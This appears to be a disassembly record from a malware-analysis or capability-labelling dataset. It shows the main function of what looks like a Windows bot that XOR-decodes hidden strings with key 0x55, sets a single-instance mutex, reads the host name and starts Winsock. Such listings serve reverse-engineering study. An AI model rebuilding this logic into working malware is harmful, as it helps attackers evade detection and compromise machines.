Function at 0x406854
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x413290], eax
call fcn.0040a7ef
call fcn.0040a88a
call fcn.00409138
mov eax, dword [0x40fcc1]
xor ebx, ebx
inc eax
push eax
push 0x413780
push 0xffffffffffffffff
push 0x40fcc5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [0x40fd45]
mov ecx, 0x40fd49
call fcn.004055de
mov dword [0x41377c], eax
call fcn.00408222
call fcn.0040283b
call fcn.00407bfc
call fcn.00409eeb
lea ecx, [esp + 0x38]
call fcn.00407ed6
lea ecx, [esp + 0x38]
call fcn.00408da3
push 0x413378
lea eax, [esp + 0x3c]
push 0x202
mov dword [0x413514], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x40
push eax
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4132bc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x412e64]
lea ecx, [esp + 0x38]
call fcn.0040c853
movaps xmm0, xmmword [0x401ff0]
mov eax, ebx
movups xmmword [esp + 0x1c], xmm0
mov dword [esp + 0x2c], 0x55705575
mov dword [esp + 0x30], 0x555526
xor byte [esp + eax + 0x1c], 0x55
inc eax
cmp eax, 0x17
jb 0x40693c
movaps xmm0, xmmword [0x401990]
mov eax, ebx
mov byte [esp + 0x33], bl
movups xmmword [esp + 0xc], xmm0
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xf
jb 0x406959
push 0x413190
lea eax, [esp + 0x20]
mov byte [esp + 0x1f], bl
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0040d906
add esp, 0xc
lea ecx, [esp + 0x38]
call fcn.0040a409
cmp byte [0x412e64], bl
jne 0x4069f0
cmp byte [0x412e62], bl
jne 0x4069f0
lea ecx, [esp + 0x38]
call fcn.0040818b
test eax, eax
je 0x4069f0
mov dword [esp + 0xc], 0x6141017
mov eax, ebx
mov dword [esp + 0x10], 0x101d7501
mov dword [esp + 0x14], 0x6a1007
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xb
jb 0x4069bf
push ebx
lea eax, [esp + 0x10]
mov byte [esp + 0x1b], bl
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4069f0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00409608
mov esi, eax
cmp byte [esi + 0x4e24], bl
jne 0x406ae6
cmp byte [esi + 0x4e22], bl
je 0x406a24
lea ecx, [esp + 0x38]
call fcn.0040818b
test eax, eax
je 0x406a24
call fcn.00402bab
mov ecx, eax
call fcn.00409634
cmp byte [esi + 0x4e24], bl
jne 0x406ae6
cmp byte [esi + 0x4e23], bl
je 0x406a51
lea ecx, [esp + 0x38]
call fcn.0040818b
test eax, eax
je 0x406a51
call fcn.00402bab
mov ecx, eax
call fcn.00409970
cmp byte [esi + 0x4e24], bl
jne 0x406ae6
lea ecx, [esp + 0x38]
call fcn.0040818b
test eax, eax
je 0x406ae6
cmp byte [esi + 0x4e1f], bl
je 0x406a77
call fcn.0040b3f8
cmp byte [esi + 0x4e20], bl
je 0x406a96
call fcn.00409c7b
test eax, eax
jne 0x406a96
call fcn.00409c21
test eax, eax
je 0x406a96
call fcn.0040b076
cmp byte [esi + 0x4e1e], bl
je 0x406ab3
call fcn.0040aaaa
call fcn.00409c21
test eax, eax
je 0x406ab3
xor ecx, ecx
call fcn.0040aed4
cmp byte [esi + 0x4e1d], bl
je 0x406ac0
call fcn.0040af02
cmp byte [esi + 0x4e1a], bl
je 0x406ad1
lea ecx, [esp + 0x38]
call fcn.0040a363
cmp byte [esi + 0x4e1b], bl
je 0x406ae6
call fcn.004079b8
xor ecx, ecx
inc ecx
call fcn.00407b24
call fcn.00407b69
test eax, eax
je 0x406b00
lea ecx, [esp + 0x38]
call fcn.0040818b
test eax, eax
jne 0x406bdb
cmp byte [esi + 0x4e21], bl
jne 0x406b37
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x55105517
mov dword [esp + 0x10], 0x551c5512
mov dword [esp + 0x14], 0x55551b
call fcn.00406c68
mov edx, eax
call fcn.00402bab
mov ecx, eax
call fcn.0040a902
call fcn.00408f9d
xor ecx, ecx
inc ecx
call fcn.00409065
call fcn.00407b69
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406b62
call fcn.00409ccd
push 0x3e8
call edi
call fcn.00407b69
test eax, eax
je 0x406b51
push ebx
push ebx
push 0xf
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x556b5578
mov word [esp + 0x1c], 0x55
call fcn.00403c65
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00407f50
add esp, 0xc
jmp 0x406b9e
call fcn.00409ccd
push 0x3e8
call edi
call fcn.004090c1
test eax, eax
je 0x406b92
cmp byte [esi + 0x4e21], bl
jne 0x406bd6
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x551b5510
mov dword [esp + 0x10], 0x555511
call fcn.00406c55
mov edx, eax
call fcn.00402bab
mov ecx, eax
call fcn.0040a902
call fcn.0040a29d
cmp byte [esi + 0x4e24], bl
jne 0x406bec
call fcn.0040d83f
test eax, eax
je 0x406c23
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [esp + 0x1c]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x406c15
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x406bff
lea ecx, [esp + 0x38]
call fcn.00407f3f
call fcn.00408483
call fcn.00402bb1
call fcn.00407db6
call fcn.0040a272
call fcn.00408f3e
call fcn.0040794e
call fcn.0040d78a
push ebx
jmp 0x4069ea